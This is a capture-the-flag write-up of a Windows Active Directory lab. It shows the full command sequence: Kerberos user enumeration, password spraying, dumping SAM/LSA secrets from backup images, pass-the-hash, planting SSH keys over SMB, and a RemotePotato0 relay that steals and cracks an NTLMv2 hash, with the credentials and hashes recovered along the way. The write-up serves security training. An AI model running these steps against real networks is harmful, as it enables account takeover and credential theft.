Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ nmap -sC -sV -Pn 10.129.234.42 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-04 05:41 UTC
Nmap scan report for 10.129.234.42
Host is up (0.36s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-04 05:43:31Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: shibuya.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:AWSJPDC0522.shibuya.vl
| Not valid before: 2025-02-15T07:26:20
|_Not valid after: 2026-02-15T07:26:20
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: shibuya.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:AWSJPDC0522.shibuya.vl
| Not valid before: 2025-02-15T07:26:20
|_Not valid after: 2026-02-15T07:26:20
|_ssl-date: TLS randomness does not represent time
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-10-04T05:44:56+00:00; +1m14s from scanner time.
| rdp-ntlm-info:
| Target_Name: SHIBUYA
| NetBIOS_Domain_Name: SHIBUYA
| NetBIOS_Computer_Name: AWSJPDC0522
| DNS_Domain_Name: shibuya.vl
| DNS_Computer_Name: AWSJPDC0522.shibuya.vl
| DNS_Tree_Name: shibuya.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-10-04T05:44:17+00:00
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
| Not valid before: 2025-10-03T05:38:10
|_Not valid after: 2026-04-04T05:38:10
Service Info: Host: AWSJPDC0522; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1m13s, deviation: 0s, median: 1m13s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-10-04T05:44:17
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 119.34 seconds
We can get the domain name is AWSJPDC0522.shibuya.vl
, so let's add it to our /etc/hosts
SMB
Then we can use netexec
to verify this domain name
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ netexec smb 10.129.234.42
SMB 10.129.234.42 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
Also we can try to use guest
account to access to SMB
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ netexec smb 10.129.234.42 -u guest -p ''
SMB 10.129.234.42 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.42 445 AWSJPDC0522 [-] shibuya.vl\guest: STATUS_ACCOUNT_DISABLED
We have to enumerate a valid account by Kerberos Brute Force
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ kerbrute userenum -d shibuya.vl --dc 10.129.234.42 /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (9cfb81e) - 10/04/25 - Ronnie Flathers @ropnop
2025/10/04 05:59:29 > Using KDC(s):
2025/10/04 05:59:29 > 10.129.234.42:88
2025/10/04 05:59:37 > [+] VALID USERNAME: purple@shibuya.vl
2025/10/04 05:59:45 > [+] VALID USERNAME: red@shibuya.vl
--snip--
There will be more and more valid usernames, but we can try to use the basic enumerate way red:red
or purple:purple
to check users with their password as their username.
Let's try to verify these credits
Trying this with NTLM
login doesn’t show anything:
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ netexec smb 10.129.234.42 -u red -p red
SMB 10.129.234.42 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.42 445 AWSJPDC0522 [-] shibuya.vl\red:red STATUS_LOGON_FAILURE
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ netexec smb 10.129.234.42 -u purple -p purple
SMB 10.129.234.42 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.42 445 AWSJPDC0522 [-] shibuya.vl\purple:purple STATUS_LOGON_FAILURE
But if we try to use Kerberos
then it worked.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ netexec smb 10.129.234.42 -u red -p red -k
SMB 10.129.234.42 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.42 445 AWSJPDC0522 [+] shibuya.vl\red:red
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ netexec smb 10.129.234.42 -u purple -p purple -k
SMB 10.129.234.42 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.42 445 AWSJPDC0522 [+] shibuya.vl\purple:purple
The main reason would be account red
and purple
are machine accounts which would not worked with NTLM
Let's continue to check the share with these credits
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ netexec smb shibuya.vl -u red -p red -k --shares
SMB shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\red:red
SMB shibuya.vl 445 AWSJPDC0522 [*] Enumerated shares
SMB shibuya.vl 445 AWSJPDC0522 Share Permissions Remark
SMB shibuya.vl 445 AWSJPDC0522 ----- ----------- ------
SMB shibuya.vl 445 AWSJPDC0522 ADMIN$ Remote Admin
SMB shibuya.vl 445 AWSJPDC0522 C$ Default share
SMB shibuya.vl 445 AWSJPDC0522 images$
SMB shibuya.vl 445 AWSJPDC0522 IPC$ READ Remote IPC
SMB shibuya.vl 445 AWSJPDC0522 NETLOGON READ Logon server share
SMB shibuya.vl 445 AWSJPDC0522 SYSVOL READ Logon server share
SMB shibuya.vl 445 AWSJPDC0522 users READ
users
would be interesting target for us, but nothing interesting from that
I would try to dump all the valid users
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ netexec smb shibuya.vl -k -u red -p red --users
SMB shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\red:red
SMB shibuya.vl 445 AWSJPDC0522 -Username- -Last PW Set- -BadPW- -Description-
SMB shibuya.vl 445 AWSJPDC0522 _admin 2025-02-15 07:55:29 0 Built-in account for administering the computer/domain
SMB shibuya.vl 445 AWSJPDC0522 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB shibuya.vl 445 AWSJPDC0522 krbtgt 2025-02-15 07:24:57 0 Key Distribution Center Service Account
SMB shibuya.vl 445 AWSJPDC0522 svc_autojoin 2025-02-15 07:51:49 0 K5&A6Dw9d8jrKWhV
SMB shibuya.vl 445 AWSJPDC0522 Leon.Warren 2025-02-16 10:23:34 0
--snip--
There are so many accounts, but
svc_autojoin 2025-02-15 07:51:49 0 K5&A6Dw9d8jrKWhV
Looks like a credit, we can try to verify it
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ netexec smb shibuya.vl -u svc_autojoin -p 'K5&A6Dw9d8jrKWhV'
SMB 10.129.234.42 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.42 445 AWSJPDC0522 [+] shibuya.vl\svc_autojoin:K5&A6Dw9d8jrKWhV
Continue to enumerate the share with this account
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ netexec smb shibuya.vl -u svc_autojoin -p 'K5&A6Dw9d8jrKWhV' --shares
SMB 10.129.234.42 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.42 445 AWSJPDC0522 [+] shibuya.vl\svc_autojoin:K5&A6Dw9d8jrKWhV
SMB 10.129.234.42 445 AWSJPDC0522 [*] Enumerated shares
SMB 10.129.234.42 445 AWSJPDC0522 Share Permissions Remark
SMB 10.129.234.42 445 AWSJPDC0522 ----- ----------- ------
SMB 10.129.234.42 445 AWSJPDC0522 ADMIN$ Remote Admin
SMB 10.129.234.42 445 AWSJPDC0522 C$ Default share
SMB 10.129.234.42 445 AWSJPDC0522 images$ READ
SMB 10.129.234.42 445 AWSJPDC0522 IPC$ READ Remote IPC
SMB 10.129.234.42 445 AWSJPDC0522 NETLOGON READ Logon server share
SMB 10.129.234.42 445 AWSJPDC0522 SYSVOL READ Logon server share
SMB 10.129.234.42 445 AWSJPDC0522 users READ
There is a share images$
could be our next target
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ smbclient -U shibuya.vl/svc_autojoin '//shibuya.vl/images$'
Password for [SHIBUYA.VL\svc_autojoin]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Feb 16 11:24:08 2025
.. DHS 0 Wed Apr 9 00:09:45 2025
AWSJPWK0222-01.wim A 8264070 Sun Feb 16 11:23:41 2025
AWSJPWK0222-02.wim A 50660968 Sun Feb 16 11:23:45 2025
AWSJPWK0222-03.wim A 32065850 Sun Feb 16 11:23:47 2025
vss-meta.cab A 365686 Sun Feb 16 11:22:37 2025
d
5048575 blocks of size 4096. 1548945 blocks available
I would download them and check what can we get
The three files are Windows imaging (WIM
) images:
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ file AWSJPWK0222-0*
AWSJPWK0222-01.wim: Windows imaging (WIM) image v1.13, XPRESS compressed, reparse point fixup
AWSJPWK0222-02.wim: Windows imaging (WIM) image v1.13, XPRESS compressed, reparse point fixup
AWSJPWK0222-03.wim: Windows imaging (WIM) image v1.13, XPRESS compressed, reparse point fixup
These are disk images files created by Microsoft. 7zip
can handle reading the files inside .wim
files.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ 7z l AWSJPWK0222-01.wim
7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit locale=en_US.UTF-8 Threads:12 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 8264070 bytes (8071 KiB)
Listing archive: AWSJPWK0222-01.wim
--
Path = AWSJPWK0222-01.wim
Type = wim
WARNING = Some files have incorrect reference count
Physical Size = 8264070
Size = 78387563
Packed Size = 8188162
Method = XPress:15
Cluster Size = 32768
Created = 2025-02-16 11:23:41.0431850
Modified = 2025-02-16 11:23:41.0431850
Comment = <WIM><TOTALBYTES>8263232</TOTALBYTES><IMAGE INDEX="1"><DIRCOUNT>829</DIRCOUNT><FILECOUNT>675</FILECOUNT><TOTALBYTES>88009447</TOTALBYTES><HARDLINKBYTES>0</HARDLINKBYTES><CREATIONTIME><HIGHPART>0x01DB8065</HIGHPART><LOWPART>0x3B2D336A</LOWPART></CREATIONTIME><LASTMODIFICATIONTIME><HIGHPART>0x01DB8065</HIGHPART><LOWPART>0x3B2D336A</LOWPART></LASTMODIFICATIONTIME><WIMBOOT>0</WIMBOOT><NAME>Backup01</NAME></IMAGE></WIM>
Version = 1.13
Multivolume = -
Volume = 1
Volumes = 1
Images = 1
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2025-02-16 10:48:48 D.... Administrator
2025-02-16 19:48:13 DRH.. Default
2025-02-16 10:48:48 DR... Public
2025-02-16 11:15:52 D.... simon.watson
2025-02-16 10:48:48 DR... Administrator/3D Objects
2025-02-16 10:48:46 D.H.. Administrator/AppData
2025-02-16 10:48:48 DR... Administrator/Contacts
2025-02-16 10:48:48 DR... Administrator/Desktop
2025-02-16 10:48:49 DR... Administrator/Documents
2025-02-16 10:48:48 DR... Administrator/Downloads
2025-02-16 10:48:48 DR... Administrator/Favorites
2025-02-16 10:48:49 DR... Administrator/Links
2025-02-16 10:48:48 DR... Administrator/Music
2025-02-16 10:48:48 DR... Administrator/Pictures
2025-02-16 10:48:49 DR... Administrator/Saved Games
2025-02-16 10:48:49 DR... Administrator/Searches
2025-02-16 10:48:48 DR... Administrator/Videos
--snip--
In summary
AWSJPWK0222-01.wim has Users directory,simon.watson include Administrator ,AWSJPWK0222-01.wim,Default and Public
AWSJPWK0222-02.wim have the registry hives
AWSJPWK0222-03.wim looks like some kind of recovery disk
I will use 7z
to extract the three hives. Then use secretsdump.py
to dump the hashes.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ secretsdump.py -sam SAM -security SECURITY -system SYSTEM local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x2e971736685fc53bfd5106d471e2f00f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8dcb5ed323d1d09b9653452027e8c013:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9dc1b36c1e31da7926d77ba67c654ae6:::
operator:1000:aad3b435b51404eeaad3b435b51404ee:5d8c3d1a20bd63f60f469f6763ca0d50:::
[*] Dumping cached domain logon information (domain/username:hash)
SHIBUYA.VL/Simon.Watson:$DCC2$10240#Simon.Watson#04b20c71b23baf7a3025f40b3409e325: (2025-02-16 11:17:56)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:2f006b004e0045004c0045003f0051005800290040004400580060005300520079002600610027002f005c002e002e0053006d0037002200540079005e0044003e004e0056005f00610063003d00270051002e00780075005b0075005c00410056006e004200230066004a0029006f007a002a005700260031005900450064003400240035004b0079004d006f004f002100750035005e0043004e002500430050006e003a00570068005e004e002a0076002a0043005a006c003d00640049002e006d005a002d002d006e0056002000270065007100330062002f00520026006b00690078005b003600670074003900
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:1fe837c138d1089c9a0763239cd3cb42
[*] DPAPI_SYSTEM
dpapi_machinekey:0xb31a4d81f2df440f806871a8b5f53a15de12acc1
dpapi_userkey:0xe14c10978f8ee226cbdbcbee9eac18a28b006d06
[*] NL$KM
0000 92 B9 89 EF 84 2F D6 55 73 67 31 8F E0 02 02 66 ...../.Usg1....f
0010 F9 81 42 68 8C 3B DF 5D 0A E5 BA F2 4A 2C 43 0E ..Bh.;.]....J,C.
0020 1C C5 4F 40 1E F5 98 38 2F A4 17 F3 E9 D9 23 E3 ..O@...8/.....#.
0030 D1 49 FE 06 B3 2C A1 1A CB 88 E4 1D 79 9D AE 97 .I...,......y...
NL$KM:92b989ef842fd6557367318fe0020266f98142688c3bdf5d0ae5baf24a2c430e1cc54f401ef598382fa417f3e9d923e3d149fe06b32ca11acb88e41d799dae97
[*] Cleaning up...
I have 500 users and 5 NTLM
hashes. Of the three non-blank passwords, the Operator account is the most likely to be reused, followed by the Administrator account, and finally WDAGUtilityAccount
.
We can successfully get the success
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ netexec smb shibuya.vl -u users -H 5d8c3d1a20bd63f60f469f6763ca0d50 --continue-on-success
SMB 10.129.234.42 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.42 445 AWSJPDC0522 [-] shibuya.vl\svc_autojoin:5d8c3d1a20bd63f60f469f6763ca0d50 STATUS_LOGON_FAILURE
SMB 10.129.234.42 445 AWSJPDC0522 [-] shibuya.vl\Leon.Warren:5d8c3d1a20bd63f60f469f6763ca0d50 STATUS_LOGON_FAILURE
SMB 10.129.234.42 445 AWSJPDC0522 [-] shibuya.vl\Graeme.Kerr:5d8c3d1a20bd63f60f469f6763ca0d50 STATUS_LOGON_FAILURE
SMB 10.129.234.42 445 AWSJPDC0522 [-] shibuya.vl\Joshua.North:5d8c3d1a20bd63f60f469f6763ca0d50 STATUS_LOGON_FAILURE
SMB 10.129.234.42 445 AWSJPDC0522 [-] shibuya.vl\Shaun.Burton:5d8c3d1a20bd63f60f469f6763ca0d50 STATUS_LOGON_FAILURE
SMB 10.129.234.42 445 AWSJPDC0522 [-] shibuya.vl\Gillian.Douglas:5d8c3d1a20bd63f60f469f6763ca0d50 STATUS_LOGON_FAILURE
...[snip]...
SMB 10.129.234.42 445 AWSJPDC0522 [-] shibuya.vl\Keith.Wilson:5d8c3d1a20bd63f60f469f6763ca0d50 STATUS_LOGON_FAILURE
SMB 10.129.234.42 445 AWSJPDC0522 [-] shibuya.vl\Joan.Taylor:5d8c3d1a20bd63f60f469f6763ca0d50 STATUS_LOGON_FAILURE
SMB 10.129.234.42 445 AWSJPDC0522 [+] shibuya.vl\Simon.Watson:5d8c3d1a20bd63f60f469f6763ca0d50
SMB 10.129.234.42 445 AWSJPDC0522 [-] shibuya.vl\Duncan.Roberts:5d8c3d1a20bd63f60f469f6763ca0d50 STATUS_LOGON_FAILURE
SMB 10.129.234.42 445 AWSJPDC0522 [-] shibuya.vl\Hazel.Wright:5d8c3d1a20bd63f60f469f6763ca0d50 STATUS_LOGON_FAILURE
...[snip]...
We successfully get the credit shibuya.vl\Simon.Watson:5d8c3d1a20bd63f60f469f6763ca0d50
Let's verify this account
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ netexec smb shibuya.vl -u Simon.Watson -H 5d8c3d1a20bd63f60f469f6763ca0d50
SMB 10.129.234.42 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.42 445 AWSJPDC0522 [+] shibuya.vl\Simon.Watson:5d8c3d1a20bd63f60f469f6763ca0d50
This credit is valid !!!! But I still can't use this credit to winrm
connect or ssh connect
So I would continue to check the share of this account
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ smbclient -U Simon.Watson --pw-nt-hash //shibuya.vl/users 5d8c3d1a20bd63f60f469f6763ca0d50
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Sun Feb 16 10:42:24 2025
.. DHS 0 Wed Apr 9 00:09:45 2025
Administrator D 0 Tue Apr 8 23:36:27 2025
All Users DHSrn 0 Sat May 8 08:34:03 2021
Default DHR 0 Sat Feb 15 15:49:13 2025
Default User DHSrn 0 Sat May 8 08:34:03 2021
desktop.ini AHS 174 Sat May 8 08:18:31 2021
nigel.mills D 0 Tue Apr 8 23:30:42 2025
Public DR 0 Sat Feb 15 06:49:31 2025
simon.watson D 0 Tue Feb 18 19:36:45 2025
We can find the flag from the desktop and we can upload our authorized_key
to .ssh
smb: \simon.watson\.ssh\> put /home/wither/.ssh/authorized_key .\authorized_keys
putting file /home/wither/.ssh/authorized_key as \simon.watson\.ssh\authorized_keys (0.3 kb/s) (average 0.3 kb/s)
smb: \simon.watson\.ssh\> put /home/wither/.ssh/id_rsa.pub .\authorized_keys
putting file /home/wither/.ssh/id_rsa.pub as \simon.watson\.ssh\authorized_keys (0.4 kb/s) (average 0.3 kb/s)
smb: \simon.watson\.ssh\> ls
. D 0 Sat Oct 4 06:42:54 2025
.. D 0 Sat Oct 4 06:40:23 2025
authorized_key A 582 Sat Oct 4 06:41:34 2025
authorized_keys A 730 Sat Oct 4 06:43:45 2025
5048575 blocks of size 4096. 1548963 blocks available
Then we can use ssh connect to get the shell as simon
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ ssh -i ~/.ssh/id_rsa simon.watson@shibuya.vl
Microsoft Windows [Version 10.0.20348.3453]
(c) Microsoft Corporation. All rights reserved.
shibuya\simon.watson@AWSJPDC0522 C:\Users\simon.watson>whoami
shibuya\simon.watson
Bloodhound by Simon
Now we can try to upload the Sharphound.exe
to collect the data
┌──(wither㉿localhost)-[/opt/SharpHound]
└─$ scp -i ~/.ssh/id_rsa SharpHound.exe simon.watson@shibuya.vl:/programdata/
SharpHound.exe
Run the SharpHound.exe
shibuya\simon.watson@AWSJPDC0522 C:\ProgramData>.\SharpHound.exe -c all
2025-10-03T23:49:15.5547507-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2025-10-03T23:49:15.7223748-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-10-03T23:49:15.7380139-07:00|INFORMATION|Initializing SharpHound at 11:49 PM on 10/3/2025
2025-10-03T23:49:15.8944507-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for shibuya.vl : AWSJPDC0522.shibuya.vl
2025-10-03T23:49:40.0348788-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-10-03T23:49:40.1442502-07:00|INFORMATION|Beginning LDAP search for shibuya.vl
2025-10-03T23:49:40.2379965-07:00|INFORMATION|Producer has finished, closing LDAP channel
2025-10-03T23:49:40.2379965-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2025-10-03T23:50:10.5722411-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 38 MB RAM
2025-10-03T23:50:40.5878562-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 40 MB RAM
2025-10-03T23:50:53.1503441-07:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2025-10-03T23:50:53.1815945-07:00|INFORMATION|Output channel closed, waiting for output task to complete
2025-10-03T23:50:53.2753469-07:00|INFORMATION|Status: 600 objects finished (+600 8.219178)/s -- Using 50 MB RAM
2025-10-03T23:50:53.2753469-07:00|INFORMATION|Enumeration finished in 00:01:13.1305584
2025-10-03T23:50:53.3378465-07:00|INFORMATION|Saving cache with stats: 559 ID to type mappings.
559 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2025-10-03T23:50:53.3534724-07:00|INFORMATION|SharpHound Enumeration Completed at 11:50 PM on 10/3/2025! Happy Graphing!
Then download it to our local machine to analysis it
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ scp -i ~/.ssh/id_rsa simon.watson@shibuya.vl:/programdata/20251003235052_BloodHound.zip .
After analysis the bloodhound, I did not find any outbound object control of we have owned account, but I found 2 active sessions here
Let's upload RunasCs.exe
to exploit RemotePotato0
DCOM activation service and trigger an NTLM authentication of any user currently logged on in the target machine. It is required that a privileged user is logged on the same machine (e.g. a Domain Admin user). Once the NTLM type1 is triggered we setup a cross protocol relay server that receive the privileged type1 message and relay it to a third resource by unpacking the RPC protocol and packing the authentication over HTTP. On the receiving end you can setup a further relay node (eg. ntlmrelayx) or relay directly to a privileged resource. RemotePotato0 also allows to grab and steal NTLMv2 hashes of every users logged on a machine.
I’ll need the session ID for the target user. But qwinsta
not worked here
PS C:\ProgramData> qwinsta *
No session exists for *
Let's use RunasCs
to get it again
shibuya\simon.watson@AWSJPDC0522 C:\ProgramData>.\RunasCs.exe whatever whatever qwinsta -l 9
SESSIONNAME USERNAME ID STATE TYPE DEVICE
>services 0 Disc
rdp-tcp#0 nigel.mills 1 Active
console 2 Conn
rdp-tcp 65536 Listen
I would upload the RemotePotato0.exe
and run this and capture the hash of the logged in user
shibuya\simon.watson@AWSJPDC0522 C:\ProgramData> .\RemotePotato0.exe -m 2 -s 1
[!] Detected a Windows Server version not compatible with JuicyPotato, you cannot run the RogueOxidResolver on 127.0.0.1. RogueOxidResolver must be run remotely.
[!] Example Network redirector:
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:{{ThisMachineIp}}:9999
For this version of Windows, I can’t perform this attack to localhost.So I have to connect to my local machine Remember to open on your local machine
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.129.234.42:8888
Then
shibuya\simon.watson@AWSJPDC0522 C:\ProgramData>.\RemotePotato0.exe -m 2 -s 1 -x 10.10.14.5 -p 8888
[*] Detected a Windows Server version not compatible with JuicyPotato. RogueOxidResolver must be run remotely. Remember to forward tcp port 135 on (null) to your victim machine on port 8888
[*] Example Network redirector:
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:{{ThisMachineIp}}:8888
[*] Starting the RPC server to capture the credentials hash from the user authentication!!
[*] Spawning COM object in the session: 1
[*] Calling StandardGetInstanceFromIStorage with CLSID:{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
[*] RPC relay server listening on port 9997 ...
[*] Starting RogueOxidResolver RPC Server listening on port 8888 ...
[*] IStoragetrigger written: 102 bytes
[*] ServerAlive2 RPC Call
[*] ResolveOxid2 RPC call
[+] Received the relayed authentication on the RPC relay server on port 9997
[*] Connected to RPC Server 127.0.0.1 on port 8888
[+] User hash stolen!
NTLMv2 Client : AWSJPDC0522
NTLMv2 Username : SHIBUYA\Nigel.Mills
NTLMv2 Hash : Nigel.Mills::SHIBUYA:e5a16465146522ff:6d7f4bede21e11028c3a3216ae0fe25b:0101000000000000b8e47fa7fd34dc01d383da4eedea24f60000000002000e005300480049004200550059004100010016004100570053004a0050004400430030003500320032000400140073006800690062007500790061002e0076006c0003002c004100570053004a0050004400430030003500320032002e0073006800690062007500790061002e0076006c000500140073006800690062007500790061002e0076006c0007000800b8e47fa7fd34dc0106000400060000000800300030000000000000000100000000200000b5eee82babd8764cbc947d535f98397627f5430470516e3060a20e0c4df330ad0a00100000000000000000000000000000000000090000000000000000000000
[*] ResolveOxid2 RPC call
Then we can use hashcat
to crack this hash
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ hashcat nigel.mills.hash /usr/share/wordlists/rockyou.txt
NIGEL.MILLS::SHIBUYA:e5a16465146522ff:6d7f4bede21e11028c3a3216ae0fe25b:0101000000000000b8e47fa7fd34dc01d383da4eedea24f60000000002000e005300480049004200550059004100010016004100570053004a0050004400430030003500320032000400140073006800690062007500790061002e0076006c0003002c004100570053004a0050004400430030003500320032002e0073006800690062007500790061002e0076006c000500140073006800690062007500790061002e0076006c0007000800b8e47fa7fd34dc0106000400060000000800300030000000000000000100000000200000b5eee82babd8764cbc947d535f98397627f5430470516e3060a20e0c4df330ad0a00100000000000000000000000000000000000090000000000000000000000:Sail2Boat3
Get the new credit nigel.mills:Sail2Boat3
Continue to verify this credit
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ netexec smb shibuya.vl -u nigel.mills -p Sail2Boat3
SMB 10.129.234.42 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.42 445 AWSJPDC0522 [+] shibuya.vl\nigel.mills:Sail2Boat3
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ netexec ssh shibuya.vl -u nigel.mills -p Sail2Boat3
SSH 10.129.234.42 22 shibuya.vl [*] SSH-2.0-OpenSSH_for_Windows_9.5
SSH 10.129.234.42 22 shibuya.vl [+] nigel.mills:Sail2Boat3 Windows - Shell access!
Let's use ssh to connect it
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ ssh nigel.mills@shibuya.vl
nigel.mills@shibuya.vl's password:
Microsoft Windows [Version 10.0.20348.3453]
(c) Microsoft Corporation. All rights reserved.
shibuya\nigel.mills@AWSJPDC0522 C:\Users\nigel.mills>whoami
shibuya\nigel.mills
shibuya\nigel.mills@AWSJPDC0522 C:\Users\nigel.mills>
Privilege escalation
nigel.mills
is a member of the T1_Admins
group, which provides registration permissions for the SHIBUYAWEB
certificate
We can try to use certipy-ad
to verify this vulnerable
Now I will end the ssh session and reconnect the SSH session with -D 1080
, which will provide a socks proxy through the SSH session, listening on TCP
1080 for my host
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ ssh nigel.mills@shibuya.vl -D 1080
nigel.mills@shibuya.vl's password:
